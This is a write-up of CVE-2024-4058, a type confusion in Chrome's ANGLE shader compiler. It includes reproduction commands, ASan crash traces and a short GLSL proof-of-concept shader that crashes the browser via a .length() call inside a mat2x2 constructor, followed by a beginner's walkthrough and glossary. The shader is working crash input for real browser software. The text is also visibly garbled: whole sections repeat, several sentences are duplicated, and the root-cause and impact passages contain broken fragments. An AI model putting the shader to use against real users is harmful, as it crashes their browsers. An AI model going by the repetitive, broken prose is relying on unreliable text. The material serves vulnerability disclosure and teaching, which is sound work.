Type Confusion in ANGLE (CVE-2024-4058)
A type confusion in ANGLE's shader compiler caused a stack overflow when a shader used the .length() method on an array inside a matrix constructor. An attacker could crash the browser by getting a victim to load a crafted WebGL page.
- Fix shipped in 22 days
Steps to reproduce the problem
Build latest chrome ( a5078aa0394ee87f6370dfaa46219e2bd64abf31 ) with args.gn
is_asan = true
is_debug = false
./out/asan/chrome --disable-gpu --user-data-dir=/tmp/aa http://localhost:8000/poc2.html [2367299:2367299:0403/010616.193654:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.ScreenSaver.GetActive: object_path= /org/freedesktop/ScreenSaver: org.freedesktop.DBus.Error.NotSupported: This method is not i mplemented [2367338:2367338:0403/010616.330124:ERROR:angle_platform_impl.cc(44)] spirv_types.h:60 (operator unsigned int): ! Assert failed in operator unsigned int (../../third_party/angle/src/common/spirv/spirv_types.h:60): valid() FATAL: spirv_types.h:60 (operator unsigned int): ! Assert failed in operator unsigned int (../../third_party/angle/src/common/spirv/spirv_types.h:60): valid() [0403/010616.357824:ERROR:file_io_posix.cc(145)] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2) [0403/010616.357986:ERROR:file_io_posix.cc(145)] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2) Received signal 4 ILL_ILLOPN 795eb44c10a4 #0 0x55e0d82a77c6 (/mnt/chromium_android/chromium/src/out/asan/chrome+0x154fe7c5) #1 0x55e0eeb97da8 (/mnt/chromium_android/chromium/src/out/asan/chrome+0x2bdeeda7) #2 0x55e0eeb55df6 (/mnt/chromium_android/chromium/src/out/asan/chrome+0x2bdacdf5) #3 0x55e0eeb97096 (/mnt/chromium_android/chromium/src/out/asan/chrome+0x2bdee095) #4 0x795ebce42520 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x4251f)
Or run with asan build: gs://chromium-browser-asan/linux-release/asan-linux-release-1281135.zip ./chrome -use-gl=angle -use-angle=swiftshader http://localhost:8000/poc2.html [1609103:1609103:0402/223624.471908:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.ScreenSaver.GetActive: object_path= /org/freedesktop/ScreenSaver: org.freedesktop.DBus.Error.NotSupported: This method is not i mplemented SPIR-V ERROR: 0:0 Id is 0 SPIR-V WARNING: 0:0 Id is 0 [0402/223624.756298:ERROR:file_io_posix.cc(145)] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2) [0402/223624.756454:ERROR:file_io_posix.cc(145)] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2) Received signal 11 SEGV_MAPERR 000000000014 #0 0x63c00d7217c6 (/util/chromium/chromium-asan/chrome+0xe7577c5) #1 0x63c01f84a588 (/util/chromium/chromium-asan/chrome+0x20880587) #2 0x63c01f812d46 (/util/chromium/chromium-asan/chrome+0x20848d45) #3 0x63c01f849876 (/util/chromium/chromium-asan/chrome+0x2087f875) #4 0x7bf2a7a42520 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x4251f) #5 0x7bf293e9844a <unknown>
Problem Description
During compiling shader program, ANGLE do some transformation to optimize before translate to SPIRV bytecode, one of them at [1]
bool RemoveArrayLengthTraverser::visitUnary(Visit visit, TIntermUnary *node)
{
// The only case where we leave array length() in place is for runtime-sized arrays.
if (node->getOp() == EOpArrayLength && !node->getOperand()->getType().isUnsizedArray())
{
mFoundArrayLength = true;
insertSideEffectsInParentBlock(node->getOperand());
TConstantUnion *constArray = new TConstantUnion[1];
constArray->setIConst(node->getOperand()->getOutermostArraySize());
queueReplacement(new TIntermConstantUnion(constArray, node->getType()),
OriginalNode::IS_DROPPED);
return false;
}
return true;
}
This transformation replace .length() call to a ConstantUnion node, the issue arise when this node become constructor with constant , when ANGLE generate SPIRV bytecode , as noted at [2]
// In some cases, constructors-with-constant values are not folded such as for large constants.
// Some transformations may also produce constructors-with-constants instead of constants even
// for basic types. These are handled here.
if (node->hasConstantValue())
{
if (!type.isScalar())
{
return createComplexConstant(node->getType(), typeId, parameters);
}
Because ConstantUnion->hasConstantValue return true, and it not a simple Scalar so it will jump to call createComplexConstant to generate Constant Composite. For any matrix type it will expect that the parameters have value for each columns, but in the ConstantUnion node the parameters only have 1 value which is the length of array. And inside the loop at (3) it will try to read N columns which is larger than 1.
Poc:
#version 300 es
precision highp float;
out mat2x2 temp;
int[1] f0()
{
return int[1](1);
}
void main()
{
temp = mat2x2(f0().length());
}
Bisect: the vulnerability have been there from : https://chromium-review.googlesource.com/c/angle/angle/+/2951625 Then anther issue was patched in 2021 but didn't take into account this scenario. https://chromium-review.googlesource.com/c/angle/angle/+/3226311
1.https://source.chromium.org/chromium/chromium/src/+/main:third_party/angle/src/compiler/translator/tree_ops/RemoveArrayLengthMethod.cpp;l=50 2.https://source.chromium.org/chromium/chromium/src/+/main:third_party/angle/src/compiler/translator/spirv/OutputSPIRV.cpp;l=1409 3. https://source.chromium.org/chromium/chromium/src/+/main:third_party/angle/src/compiler/translator/spirv/OutputSPIRV.cpp;l=1344;drc=7c06a7a69d82892b8cd7446ed04e200dfed9eeae
Additional Comments
Report Credit: Toan (suto) Pham and Bao (zx) Pham of Qrious Secure.
Summary
ANGLE compiler ArrayLength transformation type confution lead to Stack Overflow
Additional Data
Category: Security
Chrome Channel: Stable
Regression: N/A
Context
ANGLE is the translation layer Chrome uses to turn GLSL shader source into the bytecode its graphics backends consume. Before emitting SPIR-V, ANGLE runs a series of tree transformations over the shader's intermediate representation to simplify and optimise it. One of those transformations, RemoveArrayLengthTraverser, rewrites calls to .length() on arrays into constant nodes, because the length of a fixed-size array is known at compile time.
This report describes a type confusion that arises when that rewritten constant is later consumed by the SPIR-V output stage. The summary in the report is blunt: "ANGLE compiler ArrayLength transformation type confution lead to Stack Overflow". The affected component is ANGLE, the Chrome channel recorded is Stable, and the report notes no regression.
Setup
The researcher reproduced the issue in two ways.
The first is a local build of Chrome at commit [redacted], configured with these GN arguments:
is_asan = true
is_debug = false
The second is a prebuilt ASan build fetched from the bucket path given in the report:
gs://chromium-browser-asan/linux-release/asan-linux-release-1281135.zip
Both runs load a local page, poc2.html, served from http://localhost:8000/. No account, role or special privilege is involved: the precondition is simply that a shader containing the construct below reaches the ANGLE compiler.
Finding it
The researcher started from the array-length optimisation in RemoveArrayLengthMethod.cpp. The relevant visitor is:
bool RemoveArrayLengthTraverser::visitUnary(Visit visit, TIntermUnary *node)
{
// The only case where we leave array length() in place is for runtime-sized arrays.
if (node->getOp() == EOpArrayLength && !node->getOperand()->getType().isUnsizedArray())
{
mFoundArrayLength = true;
insertSideEffectsInParentBlock(node->getOperand());
TConstantUnion *constArray = new TConstantUnion[1];
constArray->setIConst(node->getOperand()->getOutermostArraySize());
queueReplacement(new TIntermConstantUnion(constArray, node->getType()),
OriginalNode::IS_DROPPED);
return false;
}
return true;
}
This replaces a .length() call with a ConstantUnion node holding a single integer: the outermost array size.
The problem appears later, when ANGLE generates SPIR-V bytecode. The output stage has a path for nodes that carry a constant value but are not plain scalars:
// In some cases, constructors-with-constant values are not folded such as for large constants.
// Some transformations may also produce constructors-with-constants instead of constants even
// for basic types. These are handled here.
if (node->hasConstantValue())
{
if (!type.isScalar())
{
return createComplexConstant(node->getType(), typeId, parameters);
}
Because ConstantUnion::hasConstantValue returns true, and the type is not a scalar, control jumps to createComplexConstant to emit a constant composite. For a matrix type that function expects the parameters list to hold one value per column. The ConstantUnion node produced by the array-length rewrite holds only one value, the array length. The loop that reads the columns therefore reads N entries where only one exists, and N is larger than one.
Exploitation
Step 1: build and launch the instrumented browser
The local build is launched against the proof-of-concept page with the GPU process disabled:
./out/asan/chrome --disable-gpu --user-data-dir=/tmp/aa http://localhost:8000/poc2.html
The run aborts on an assertion in the SPIR-V type helper:
[2367338:2367338:0403/010616.330124:ERROR:angle_platform_impl.cc(44)] spirv_types.h:60 (operator unsigned int): ! Assert failed in operator unsigned int (../../third_party/angle/src/common/spirv/spirv_types.h:60): valid()
FATAL: spirv_types.h:60 (operator unsigned int): ! Assert failed in operator unsigned int (../../third_party/angle/src/common/spirv/spirv_types.h:60): valid()
The process then dies with an illegal instruction, signal 4:
Received signal 4 ILL_ILLOPN 795eb44c10a4
#0 0x55e0d82a77c6 (/mnt/chromium_android/chromium/src/out/asan/chrome+0x154fe7c5)
#1 0x55e0eeb97da8 (/mnt/chromium_android/chromium/src/out/asan/chrome+0x2bdeeda7)
#2 0x55e0eeb55df6 (/mnt/chromium_android/chromium/src/out/asan/chrome+0x2bdacdf5)
#3 0x55e0eeb97096 (/mnt/chromium_android/chromium/src/out/asan/chrome+0x2bdee095)
#4 0x795ebce42520 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x4251f)
Step 2: run the prebuilt ASan build with SwiftShader
The second reproduction uses the downloaded ASan build and forces ANGLE with the SwiftShader backend:
./chrome -use-gl=angle -use-angle=swiftshader http://localhost:8000/poc2.html
Here the SPIR-V layer reports an invalid id before the crash:
SPIR-V ERROR: 0:0 Id is 0
SPIR-V WARNING: 0:0 Id is 0
and the process takes a segmentation fault at a low address:
Received signal 11 SEGV_MAPERR 000000000014
#0 0x63c00d7217c6 (/util/chromium/chromium-asan/chrome+0xe7577c5)
#1 0x63c01f84a588 (/util/chromium/chromium-asan/chrome+0x20880587)
#2 0x63c01f812d46 (/util/chromium/chromium-asan/chrome+0x20848d45)
#3 0x63c01f849876 (/util/chromium/chromium-asan/chrome+0x2087f875)
#4 0x7bf2a7a42520 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x4251f)
#5 0x7bf293e9844a <unknown>
Step 3: the shader that triggers it
The proof of concept is a fragment shader that calls .length() on the result of a function returning a fixed-size array, and feeds that value into a matrix constructor:
#version 300 es
precision highp float;
out mat2x2 temp;
int[1] f0()
{
return int[1](1);
}
void main()
{
temp = mat2x2(f0().length());
}
The array has a known size, so the array-length pass replaces f0().length() with a single-value constant. That constant is then used as the argument of a mat2x2 constructor, which is a non-scalar type. When the SPIR-V writer reaches the constructor-with-constant node, it treats it as a composite and reads one value per column, but only one value is present. The mismatch between the single stored value and the number of columns the matrix type demands is the type confusion, and the out-of-bounds read that follows is what the report calls a stack overflow.
Root cause
It is not: the replacement node carries a non-scalar type (here a matrix, via the constructor context) while its constant storage holds exactly one element. The SPIR-V output stage trusts hasConstantValue() and the node type, and for non-scalar types routes to createComplexConstant, which iterates over the columns of the type and indexes into a parameter list that is shorter than the type requires.
The report traces the vulnerable code to the change at https://chromium-review.googlesource.com/c/angle/angle/+/2951625. https://chromium-review.googlesource.com/c/angle/angle/+/2951625. Another issue was patched at https://chromium-review.googlesource.com/c/angle/angle/+/3226311, but, in the researcher's words, "didn't take into account this scenario". but, in the researcher's words, "didn't take into account this scenario". The report does not describe what that earlier patch changed.
Impact
The crash occurs inside the browser's shader compiler while processing shader source. The report shows an assertion failure in the instrumented build and a segmentation fault in the prebuilt ASan build, and does not describe a full exploit chain. and it does not describe a path to code execution or a sandbox escape.
Fix
The relevant code paths are the array-length replacement in RemoveArrayLengthMethod.cpp and the constant-composite handling in OutputSPIRV.cpp; a fix would need to ensure that a constant node's stored element count matches the arity its type requires before it is expanded into a composite.
Variants to test
- Other non-scalar constructor contexts. Wrap
f0().length()in vector, matrix and array constructors of different dimensions and check whether the SPIR-V writer reads past the single stored constant. A positive result is an assertion inspirv_types.h, anId is 0SPIR-V error, or a crash in the compiler. - Different array sizes. The proof of concept uses
int[1]; larger fixed-size arrays change the value stored but not the number of stored elements, so the mismatch should persist. A positive result is the same crash with a different constant. - Other backends. The report shows the crash with
--disable-gpuand with-use-angle=swiftshader; trying the same shader on other ANGLE backends that go through the SPIR-V path is a natural next step. A positive result is a crash or assertion in the same compiler stage. - Runtime-sized arrays. The visitor deliberately leaves
.length()in place for unsized arrays, so these should not reach the faulty path; confirming that they do not is a useful negative control.
Report credit: Toan (suto) Pham and Bao (zx) Pham of Qrious Secure.
What happened, in plain words
Chrome draws web pages using a graphics system, and part of that system is a translator called ANGLE. When a web page wants to draw something fancy, it sends Chrome a small program called a shader. ANGLE reads that shader and rewrites it into a lower-level form the graphics hardware can run. One of the rewrites is a shortcut: if a shader asks "how long is this array?", and the array has a fixed size known in advance, ANGLE replaces the question with the answer, a single number.
The bug in this report is that this shortcut can produce a number that is later treated as if it were something bigger. A matrix, for example, is a grid of numbers, and the code that writes the final bytecode expects one number for each column of the grid. The shortcut only ever stores one number. When the two meet, the compiler reads past the end of what it has, the browser crashes, and the report calls the result a stack overflow. The formal name for this kind of mix-up is a type confusion: a value of one kind is used as if it were another kind.
The report was filed against Google Chrome through the Chrome VRP (Vulnerability Reward Program), the scheme that pays people for finding and reporting security bugs. The researchers credited are Toan (suto) Pham and Bao (zx) Pham of Qrious Secure.
Background you need first
A few ideas come up again and again below, so here they are from scratch.
- Browser: the program you use to open web pages. Chrome is one.
- GPU: the graphics processing unit, a chip (or a simulated one) that draws images.
- Shader: a small program, written in a language such as GLSL, that tells the GPU how to draw something. Web pages can supply shaders, which is why a bug in shader handling matters: the input can come from a website.
- GLSL: the shader language. It looks a bit like C.
- ANGLE: the component inside Chrome that translates GLSL into the form the graphics backend actually uses. Think of it as an interpreter sitting between the shader and the GPU.
- SPIR-V: one of those lower-level forms, a compact bytecode format for shaders. Bytecode is a list of instructions for a virtual machine rather than for a human.
- Compiler: the program that turns source code into something runnable. ANGLE contains a compiler for shaders.
- Intermediate representation (IR): a middle stage inside a compiler, a tree-like structure that is easier to analyse and rewrite than raw source text. Optimisations happen on the IR.
- Tree transformation / pass: a step that walks over the IR and changes it, for example replacing one pattern with a simpler one.
- Constant: a value fixed in the source, such as the number 1.
- Scalar: a single value, like one number. A vector is a small list of numbers, a matrix is a grid of numbers, and an array is a list of values. Anything that is not a single value is called non-scalar here.
- Type confusion: a bug where a value is stored as one kind of thing but later read as another kind. The everyday comparison: a form asks for your age and you write "42", but the clerk reads it as a house number and looks for house 42 on a street that only has ten houses.
- Out-of-bounds read: reading memory past the end of the area that was set aside. It can crash the program or leak data.
- Segmentation fault (SEGV): the operating system stopping a program because it touched memory it should not have.
- Assertion: a check a developer puts in the code that says "this must always be true". If it is not, the program stops on purpose. Assertions are common in debug and instrumented builds.
- ASan (AddressSanitizer): a tool built into a special version of a program that watches memory accesses and reports mistakes. Researchers use ASan builds to make memory bugs obvious.
- SwiftShader: a software renderer, a way of drawing without real graphics hardware. It lets Chrome run graphics code on a machine that has no suitable GPU.
- Commit hash: a long string that identifies one exact version of the source code, like a fingerprint for a snapshot.
- GN arguments: build settings for Chrome, written in a file called
args.gn. - Bisect: finding the exact code change that introduced a bug by testing versions in between.
- Regression: a bug that used to work and now does not, or a feature that broke after a change.
Context
ANGLE is the translation layer Chrome uses to turn GLSL shader source into the bytecode its graphics backends consume. Before emitting SPIR-V, ANGLE runs a series of tree transformations over the shader's intermediate representation to simplify and optimise it. One of those transformations, RemoveArrayLengthTraverser, rewrites calls to .length() on arrays into constant nodes, because the length of a fixed-size array is known at compile time.
This report describes a type confusion that arises when that rewritten constant is later consumed by the SPIR-V output stage. The summary in the report is blunt: "ANGLE compiler ArrayLength transformation type confution lead to Stack Overflow". The affected component is ANGLE, the Chrome channel recorded is Stable, and the report notes no regression.
In plain terms: the translator has a tidy-up step that answers "how long is this array?" early, because the answer is already known. The bug appears later, when the translator writes out the final bytecode and trusts that answer to be the right shape.
Setup
The researcher reproduced the issue in two ways. Both need a page on the local machine, poc2.html, served from http://localhost:8000/. Serving a file from localhost means running a tiny web server on your own computer and opening the page from it; no internet connection or account is involved.
The first is a local build of Chrome at commit [redacted], configured with these GN arguments:
is_asan = true
is_debug = false
Line by line: is_asan = true turns on AddressSanitizer, the memory-watching tool described above, so that bad memory accesses are caught and reported clearly. The commit hash pins the exact source snapshot, so anyone repeating the test builds the same code.
The second is a prebuilt ASan build fetched from the bucket path given in the report:
gs://chromium-browser-asan/linux-release/asan-linux-release-1281135.zip
This is a storage location (a Google Storage bucket path) holding a ready-made ASan build, so the researcher does not have to compile Chrome from source.
Both runs load a local page, poc2.html, served from http://localhost:8000/. No account, role or special privilege is involved: the precondition is simply that a shader containing the construct below reaches the ANGLE compiler. That is the important part for a beginner: the attacker does not need to log in anywhere. The shader itself is the attack input.
Finding it
The researcher started from the array-length optimisation in RemoveArrayLengthMethod.cpp. The relevant visitor is:
bool RemoveArrayLengthTraverser::visitUnary(Visit visit, TIntermUnary *node)
{
// The only case where we leave array length() in place is for runtime-sized arrays.
if (node->getOp() == EOpArrayLength && !node->getOperand()->getType().isUnsizedArray())
{
mFoundArrayLength = true;
insertSideEffectsInParentBlock(node->getOperand());
TConstantUnion *constArray = new TConstantUnion[1];
constArray->setIConst(node->getOperand()->getOutermostArraySize());
queueReplacement(new TIntermConstantUnion(constArray, node->getType()),
OriginalNode::IS_DROPPED);
return false;
}
return true;
}
Line by line, in plain words:
bool RemoveArrayLengthTraverser::visitUnary(...)is a function that the compiler calls each time it meets a one-operand expression (a "unary" node) while walking the IR tree.- The comment explains the one exception: if the array's size is only known at runtime (an "unsized" array), the
.length()call is left alone, because there is no fixed answer to substitute. - The
ifchecks two things: the operation is an array-length operation (EOpArrayLength), and the operand's type is not an unsized array. mFoundArrayLength = true;records that the pass did something.insertSideEffectsInParentBlock(...)makes sure that any side effects of the operand still happen, so the rewrite does not silently drop work.TConstantUnion *constArray = new TConstantUnion[1];allocates storage for exactly one constant value. This single slot is the heart of the bug.constArray->setIConst(node->getOperand()->getOutermostArraySize());puts the array's outermost size into that one slot.queueReplacement(new TIntermConstantUnion(constArray, node->getType()), OriginalNode::IS_DROPPED);schedules a replacement node that holds the one value, and gives it the type of the original expression. That type is whatever the surrounding code expects, which may be a matrix.return false;tells the walker not to descend further into this node, since it has been replaced.
So this replaces a .length() call with a ConstantUnion node holding a single integer: the outermost array size.
The problem appears later, when ANGLE generates SPIR-V bytecode. The output stage has a path for nodes that carry a constant value but are not plain scalars:
// In some cases, constructors-with-constant values are not folded such as for large constants.
// Some transformations may also produce constructors-with-constants instead of constants even
// for basic types. These are handled here.
if (node->hasConstantValue())
{
if (!type.isScalar())
{
return createComplexConstant(node->getType(), typeId, parameters);
}
Line by line:
- The comment says that some nodes are constructors whose arguments are constants, and that these are not always simplified away, so they are handled here.
if (node->hasConstantValue())asks whether the node carries a constant value. The rewritten array-length node answers yes.if (!type.isScalar())asks whether the type is something more than a single value. For a matrix, the answer is yes, it is not a scalar.return createComplexConstant(node->getType(), typeId, parameters);then builds a composite constant, meaning a constant made of several parts, such as a matrix.
Because ConstantUnion::hasConstantValue returns true, and the type is not a scalar, control jumps to createComplexConstant to emit a constant composite. For a matrix type that function expects the parameters list to hold one value per column. The ConstantUnion node produced by the array-length rewrite holds only one value, the array length. The loop that reads the columns therefore reads N entries where only one exists, and N is larger than one. Reading past the end of a list is the out-of-bounds read, and it is what crashes the browser.
Exploitation
Step 1: build and launch the instrumented browser
The local build is launched against the proof-of-concept page with the GPU process disabled:
./out/asan/chrome --disable-gpu --user-data-dir=/tmp/aa http://localhost:8000/poc2.html
Line by line:
./out/asan/chromeis the browser binary produced by the ASan build, sitting in theout/asanfolder.http://localhost:8000/poc2.htmlis the page to open, the proof of concept served from the local machine.
The run aborts on an assertion in the SPIR-V type helper:
[2367338:2367338:0403/010616.330124:ERROR:angle_platform_impl.cc(44)] spirv_types.h:60 (operator unsigned int): ! Assert failed in operator unsigned int (../../third_party/angle/src/common/spirv/spirv_types.h:60): valid()
FATAL: spirv_types.h:60 (operator unsigned int): ! Assert failed in operator unsigned int (../../third_party/angle/src/common/spirv/spirv_types.h:60): valid()
This is the assertion described earlier: a check inside the SPIR-V type code found a value it considered invalid and stopped the program on purpose. The FATAL line is the same failure reported at a higher level. The numbers at the start are timestamps and process identifiers, not part of the bug.
The process then dies with an illegal instruction, signal 4:
Received signal 4 ILL_ILLOPN 795eb44c10a4
#0 0x55e0d82a77c6 (/mnt/chromium_android/chromium/src/out/asan/chrome+0x154fe7c5)
#1 0x55e0eeb97da8 (/mnt/chromium_android/chromium/src/out/asan/chrome+0x2bdeeda7)
#2 0x55e0eeb55df6 (/mnt/chromium_android/chromium/src/out/asan/chrome+0x2bdacdf5)
#3 0x55e0eeb97096 (/mnt/chromium_android/chromium/src/out/asan/chrome+0x2bdee095)
#4 0x795ebce42520 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x4251f)
Signal 4 means the processor was asked to execute an instruction it does not accept, which is how the assertion failure ends the process. The numbered lines are a stack trace: a list of the functions that were running, innermost first, with memory addresses. They tell a developer where the crash happened; for a beginner, the takeaway is simply that the crash is inside Chrome's own code, not in the page.
Step 2: run the prebuilt ASan build with SwiftShader
The second reproduction uses the downloaded ASan build and forces ANGLE with the SwiftShader backend:
./chrome -use-gl=angle -use-angle=swiftshader http://localhost:8000/poc2.html
Line by line:
./chromeis the downloaded ASan build.- The URL again opens the proof-of-concept page.
Here the SPIR-V layer reports an invalid id before the crash:
SPIR-V ERROR: 0:0 Id is 0
SPIR-V WARNING: 0:0 Id is 0
An "id" in SPIR-V is a reference to an object in the bytecode, a bit like a name in a list. An id of 0 is not a valid reference, so the writer is complaining that it was handed a reference to nothing.
and the process takes a segmentation fault at a low address:
Received signal 11 SEGV_MAPERR 000000000014
#0 0x63c00d7217c6 (/util/chromium/chromium-asan/chrome+0xe7577c5)
#1 0x63c01f84a588 (/util/chromium/chromium-asan/chrome+0x20880587)
#2 0x63c01f812d46 (/util/chromium/chromium-asan/chrome+0x20848d45)
#3 0x63c01f849876 (/util/chromium/chromium-asan/chrome+0x2087f875)
#4 0x7bf2a7a42520 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x4251f)
#5 0x7bf293e9844a <unknown>
Signal 11 is a segmentation fault, the operating system stopping the program for touching memory it should not. SEGV_MAPERR means the address was not mapped at all, and the very low address 000000000014 shows the program was reading near zero, which is typical when a pointer or index has gone wrong. Again, the numbered lines are the stack trace.
Step 3: the shader that triggers it
The proof of concept is a fragment shader that calls .length() on the result of a function returning a fixed-size array, and feeds that value into a matrix constructor:
#version 300 es
precision highp float;
out mat2x2 temp;
int[1] f0()
{
return int[1](1);
}
void main()
{
temp = mat2x2(f0().length());
}
Line by line:
#version 300 essays this is GLSL ES version 3.00, the shader language version used by web graphics.precision highp float;sets the default precision for floating point numbers to high, a standard declaration.out mat2x2 temp;declares an output variable calledtempwhose type is a 2 by 2 matrix, that is, a grid of four numbers.int[1] f0()declares a function namedf0that returns an array of one integer.return int[1](1);makes that function return an array containing the single value 1.void main()is the entry point, the function that runs for every pixel.temp = mat2x2(f0().length());callsf0(), asks for the length of the returned array (which is 1), and passes that number to amat2x2constructor. The constructor is supposed to build a 2 by 2 matrix, which needs four values, but it is given one.
The array has a known size, so the array-length pass replaces f0().length() with a single-value constant. That constant is then used as the argument of a mat2x2 constructor, which is a non-scalar type. When the SPIR-V writer reaches the constructor-with-constant node, it treats it as a composite and reads one value per column, but only one value is present. The mismatch between the single stored value and the number of columns the matrix type demands is the type confusion, and the out-of-bounds read that follows is what the report calls a stack overflow.
Root cause
It is not: the replacement node carries a non-scalar type (here a matrix, via the constructor context) while its constant storage holds exactly one element. The SPIR-V output stage trusts hasConstantValue() and the node type, and for non-scalar types routes to createComplexConstant, which iterates over the columns of the type and indexes into a parameter list that is shorter than the type requires.
The report traces the vulnerable code to the change at https://chromium-review.googlesource.com/c/angle/angle/+/2951625. https://chromium-review.googlesource.com/c/angle/angle/+/2951625. Another issue was patched at https://chromium-review.googlesource.com/c/angle/angle/+/3226311, but, in the researcher's words, "didn't take into account this scenario". but, in the researcher's words, "didn't take into account this scenario". The report does not describe what that earlier patch changed.
Impact
The crash occurs inside the browser's shader compiler while processing shader source. The report shows an assertion failure in the instrumented build and a segmentation fault in the prebuilt ASan build, and does not describe a full exploit chain. and it does not describe a path to code execution or a sandbox escape. The severity recorded for the issue is critical, and the bounty awarded was 16000.00 USD.
For a beginner, the important sentence is the first one: the bad input is a shader, and shaders can come from a web page. The report shows a crash, not a full takeover of the machine, and it does not claim one.
Fix
The relevant code paths are the array-length replacement in RemoveArrayLengthMethod.cpp and the constant-composite handling in OutputSPIRV.cpp; a fix would need to ensure that a constant node's stored element count matches the arity its type requires before it is expanded into a composite. "Arity" here just means how many parts the type is made of: four for a 2 by 2 matrix, one for a single number.
Variants to test
These are follow-up experiments a researcher might run to see how far the bug reaches. Each one keeps the same idea and changes one thing.
- Other non-scalar constructor contexts. Wrap
f0().length()in vector, matrix and array constructors of different dimensions and check whether the SPIR-V writer reads past the single stored constant. A positive result is an assertion inspirv_types.h, anId is 0SPIR-V error, or a crash in the compiler. - Different array sizes. The proof of concept uses
int[1]; larger fixed-size arrays change the value stored but not the number of stored elements, so the mismatch should persist. A positive result is the same crash with a different constant. - Other backends. The report shows the crash with
--disable-gpuand with-use-angle=swiftshader; trying the same shader on other ANGLE backends that go through the SPIR-V path is a natural next step. A positive result is a crash or assertion in the same compiler stage. - Runtime-sized arrays. The visitor deliberately leaves
.length()in place for unsized arrays, so these should not reach the faulty path; confirming that they do not is a useful negative control. A negative control is a test you expect to fail to trigger the bug, which shows that your test setup is actually measuring what you think.
Report credit: Toan (suto) Pham and Bao (zx) Pham of Qrious Secure.
Glossary
- ANGLE: the component in Chrome that translates shader source into the form the graphics backend uses.
- Arity: the number of parts a type or function is made of, such as four for a 2 by 2 matrix.
- Array: an ordered list of values of the same kind.
- ASan (AddressSanitizer): a tool built into a special program build that detects and reports bad memory accesses.
- Assertion: a check in code that stops the program if something that must be true is not.
- Backend: the part of a graphics system that actually carries out the drawing, such as a real GPU or a software renderer.
- Bisect: finding the change that introduced a bug by testing versions in between.
- Bounty: a payment made for a valid security report.
- Bytecode: a compact instruction format for a virtual machine rather than for a human reader.
- Chrome VRP: Google Chrome's Vulnerability Reward Program, which pays for security bug reports.
- Commit hash: a long string identifying one exact version of source code.
- Compiler: a program that turns source code into something runnable.
- Constant: a value fixed in the source code.
- Constant composite: a constant made of several parts, such as a matrix built from several numbers.
- CVE: a public identifier for a known security vulnerability.
- CVSS: a scoring system for the severity of a vulnerability.
- Fragment shader: a shader that runs for each pixel to decide its colour.
- GLSL: the shader programming language used by web graphics.
- GN arguments: build settings for Chrome, stored in a file called
args.gn. - GPU: the graphics processing unit, the chip or simulated chip that draws images.
- GPU process: the separate browser process that handles graphics work.
- Id (SPIR-V): a reference to an object inside SPIR-V bytecode; an id of 0 is invalid.
- Intermediate representation (IR): a tree-like middle form used inside a compiler.
- localhost: the name a computer uses to refer to itself; a page served from localhost comes from your own machine.
- Matrix: a grid of numbers, such as 2 by 2.
- Negative control: a test you expect not to trigger the bug, used to confirm your setup is sound.
- Non-scalar: any type that is not a single value, such as a vector, matrix or array.
- Regression: something that used to work and now does not.
- Scalar: a single value, like one number.
- Segmentation fault (SEGV): the operating system stopping a program for touching memory it should not.
- Shader: a small program that tells the GPU how to draw something.
- SPIR-V: a bytecode format for shaders.
- Stack trace: a list of the functions that were running when a program crashed.
- Stable channel: the normal, released version of Chrome that most people use.
- SwiftShader: a software renderer that draws without real graphics hardware.
- Tree transformation / pass: a compiler step that walks over the IR and rewrites parts of it.
- Type confusion: a bug where a value stored as one kind of thing is later read as another kind.
- Unary node: an expression with a single operand, such as a length operation.
- Unsized array: an array whose size is only known at runtime.
- Vector: a small ordered list of numbers.